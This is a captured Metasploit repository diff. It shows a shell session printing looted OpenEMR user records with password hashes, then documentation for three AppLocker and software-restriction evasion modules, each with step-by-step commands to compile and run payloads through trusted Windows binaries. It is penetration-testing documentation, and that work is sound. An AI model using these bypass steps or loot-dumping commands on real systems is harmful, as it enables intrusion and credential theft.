|
||||
root@localhost:/# cd /root/.msf4/loot
|
||||
root@localhost:~/.msf4/loot# ls -l
|
||||
|
||||
-rw-rw-r-- 1 root root 207 Sep 11 01:33 20190911013307_default_127.0.0.1_openemr.ALL_PLUG_118002.bin
|
||||
-rw-rw-r-- 1 root root 42 Sep 11 01:33 20190911013308_default_127.0.0.1_openemr.APPLICAB_752726.bin
|
||||
-rw-rw-r-- 1 root root 59 Sep 11 01:33 20190911013309_default_127.0.0.1_openemr.CHARACTE_047422.bin
|
||||
-rw-rw-r-- 1 root root 77 Sep 11 01:33 20190911013309_default_127.0.0.1_openemr.CHECK_CO_374587.bin
|
||||
-rw-rw-r-- 1 root root 68 Sep 11 01:33 20190911013310_default_127.0.0.1_openemr.COLLATIO_513047.bin
|
||||
|
||||
...
|
||||
|
||||
-rw-rw-r-- 1 root root 37 Sep 11 01:47 20190911014756_default_127.0.0.1_openemr.syndromi_322156.bin
|
||||
-rw-rw-r-- 1 root root 3 Sep 11 01:47 20190911014757_default_127.0.0.1_openemr.gacl_acl_006027.bin
|
||||
-rw-rw-r-- 1 root root 22 Sep 11 01:47 20190911014757_default_127.0.0.1_openemr.lang_con_639806.bin
|
||||
-rw-rw-r-- 1 root root 139 Sep 11 01:47 20190911014759_default_127.0.0.1_openemr.backgrou_037369.bin
|
||||
-rw-rw-r-- 1 root root 5462 Sep 11 01:48 20190911014846_default_127.0.0.1_openemr.geo_coun_668990.bin
|
||||
|
||||
root@localhost:~/.msf4/loot# cat 20190911014115_default_127.0.0.1_openemr.users_se_735944.bin
|
||||
id,username,password,salt,last_update,password_history1,salt_history1,password_history2,salt_history2
|
||||
1,admin,$2a$05$bxcQWy1ZeIwV2/ScGBQlTOeUVqJo9MdvHuF1mBs4Jo7H0/bFpZoPK,$2a$05$bxcQWy1ZeIwV2/ScGBQlTZ$,2019-08-27 20:07:13,"","","",""
|
||||
4,johndoemsf,$2a$05$gUWCtnsoqPBbn5zKiasyaOphgJwkA9BySy7LnK3BswyWt0RrLb0Ma,$2a$05$gUWCtnsoqPBbn5zKiasyaQ$,2019-08-29 02:01:28,"","","",""
|
||||
6,johnderp,$2a$05$nAHQ7japfATDqqgArPImlu5svMG79W1nj1SNBpE7xkEhS42.AvlWq,$2a$05$nAHQ7japfATDqqgArPImlv$,2019-08-29 02:02:32,"","","",""
|
||||
7,janedoemsf,$2a$05$uv85uBLeAOWQWWl9hHGL0uUy1KZSTgNGbZfJ9o8Lg0ILuSeGCNDbm,$2a$05$uv85uBLeAOWQWWl9hHGL06$,2019-08-29 02:09:37,"","","",""
|
||||
```
|
||||
@@ -1,4 +1,4 @@
|
||||
## Intro
|
||||
## Introduction
|
||||
|
||||
This module is designed to evade solutions such as software restriction policies and Applocker.
|
||||
Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
## Intro
|
||||
## Introduction
|
||||
|
||||
This module is designed to evade solutions such as software restriction policies and Applocker.
|
||||
Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories.
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
## Introduction
|
||||
|
||||
This module is designed to evade solutions such as software restriction policies and Applocker.
|
||||
Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories.
|
||||
Applocker enforces this by employing whitelisting, in that code can only be run from the protected directories and sub directories of "Program Files" and "Windows"
|
||||
The main vector for this bypass is to use the trusted binary PresentationHost.exe to execute user supplied code as this binary is located within the trusted Windows directory.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This evasion will work on all versions of Windows that include .NET versions 3.5 or greater that has solutions such as Applocker or Software Restriction Policies active, that do not explicitly block PresentationHost.exe.
|
||||
|
||||
## Options
|
||||
|
||||
- **CS_FILE** - Filename for the evasive file (default: presentationhost.xaml.cs).
|
||||
- **MANIFEST_FILE** - Filename for the evasive file (default: presentationhost.manifest).
|
||||
- **CSPROJ_FILE** - Filename for the evasive file (default: presentationhost.csproj).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Do: `use evasion/windows/applocker_evasion_presentationhost`
|
||||
3. Do: `set PAYLOAD <payload>` (note: only x86 payloads are supported by this module)
|
||||
4. Do: `run`
|
||||
5. The module will now display instructions of how to proceed
|
||||
6. `[+] presentationhost.xaml.cs stored at /root/.msf4/local/presentationhost.xaml.cs`
|
||||
7. `[+] presentationhost.manifest stored at /root/.msf4/local/presentationhost.manifest`
|
||||
8. `[+] presentationhost.csproj stored at /root/.msf4/local/presentationhost.csproj`
|
||||
9. `[*] Copy presentationhost.xaml.cs, presentationhost.manifest and presentationhost.csproj to the target`
|
||||
10. `[*] Compile using: C:\Windows\Microsoft.Net\Framework\[.NET Version]\MSBuild.exe presentationhost.csproj` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319").
|
||||
11. `[*] Execute using: C:\Windows\System32\PresentationHost.exe [Full Path To] presentationhost.xbap` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319") and replace [Full Path To] with the full path to the .xbap.
|
||||
|
||||
## References
|
||||
|
||||
https://medium.com/tsscyber/applocker-bypass-presentationhost-exe-8c87b2354cd4
|
||||
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker
|
||||
https://docs.microsoft.com/en-us/windows-server/identity/software-restriction-policies/software-restriction-policies
|
||||
@@ -0,0 +1,34 @@
|
||||
## Introduction
|
||||
|
||||
This module is designed to evade solutions such as software restriction policies and Applocker.
|
||||
Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories.
|
||||
Applocker enforces this by employing whitelisting, in that code can only be run from the protected directories and sub directories of "Program Files" and "Windows"
|
||||
The main vector for this bypass is to use the trusted binaries RegAsm.exe or RegSvcs.exe to execute user supplied code as these binaries are located within the trusted Windows directory.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This evasion will work on all versions of Windows that include .NET versions 3.5 or greater that has solutions such as Applocker or Software Restriction Policies active, that do not explicitly block RegAsm.exe, RegSvcs.exe or the "Microsoft.Net" directory.
|
||||
|
||||
## Options
|
||||
|
||||
- **TXT_FILE** - Filename for the evasive file (default: regasm_regsvcs.txt).
|
||||
- **SNK_FILE** - Filename for the .snk file (default: key.snk). (note: to aid furter evasion it is recommended to create your own .snk file ref: https://docs.microsoft.com/en-us/dotnet/framework/app-domains/how-to-sign-an-assembly-with-a-strong-name)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Do: `use evasion/windows/applocker_evasion_regasm_regsvcs`
|
||||
3. Do: `set PAYLOAD <payload>`
|
||||
4. Do: `run`
|
||||
5. The module will now display instructions of how to proceed
|
||||
6. `[+] regasm_regsvcs.txt stored at /root/.msf4/local/regasm_regsvcs.txt`
|
||||
7. `[+] key.snk stored at /root/.msf4/local/key.snk`
|
||||
8. `[*] Copy regasm_regsvcs.txt and key.snk to the target`
|
||||
9. `[*] Compile using: C:\Windows\Microsoft.Net\Framework64\[.NET Version]\csc.exe /r:System.EnterpriseServices.dll /target:library /out:regasm_regsvcs.dll /keyfile:key.snk regasm_regsvcs.txt` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319").
|
||||
10. `[*] Execute using: C:\Windows\Microsoft.NET\Framework64\[.NET Version]\regsvcs.exe regasm_regsvcs.dll` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319").
|
||||
11. `[*] or`
|
||||
12. `[*] Execute using: C:\Windows\Microsoft.NET\Framework64\[.NET Version]\regasm.exe /U regasm_regsvcs.dll` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319").
|
||||
|
||||
## References
|
||||
|
||||
https://attack.mitre.org/techniques/T1121/
|
||||
@@ -0,0 +1,31 @@
|
||||
## Introduction
|
||||
|
||||
This module is designed to evade solutions such as software restriction policies and Applocker.
|
||||
Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories.
|
||||
Applocker enforces this by employing whitelisting, in that code can only be run from the protected directories and sub directories of "Program Files" and "Windows"
|
||||
The main vector for this bypass is to use the trusted binary Microsoft.Workflow.Compiler.exe to execute user supplied code as this binary is located within the trusted Windows directory.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This evasion will work on all versions of Windows that include .NET versions 3.5 or greater that has solutions such as Applocker or Software Restriction Policies active, that do not explicitly block Microsoft.Workflow.Compiler.exe or the "Microsoft.Net" directory.
|
||||
|
||||
## Options
|
||||
|
||||
- **XOML_FILE** - Filename for the evasive file (default: workflow.xoml).
|
||||
- **XML_FILE** - Filename for the .snk file (default: workflow.xml).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Do: `use evasion/windows/applocker_evasion_workflow_compiler`
|
||||
3. Do: `set PAYLOAD <payload>`
|
||||
4. Do: `run`
|
||||
5. The module will now display instructions of how to proceed
|
||||
6. `[+] workflow.xoml stored at /root/.msf4/local/workflow.xoml`
|
||||
7. `[+] workflow.xml stored at /root/.msf4/local/workflow.xml`
|
||||
8. `[*] Copy workflow.xoml and workflow.xml to the target`
|
||||
9. `[*] Execute using: C:\Windows\Microsoft.Net\Framework64\[.NET Version]\Microsoft.Workflow.Compiler.exe workflow.xml GQi` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319").
|
||||
|
||||
## References
|
||||
|
||||
https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user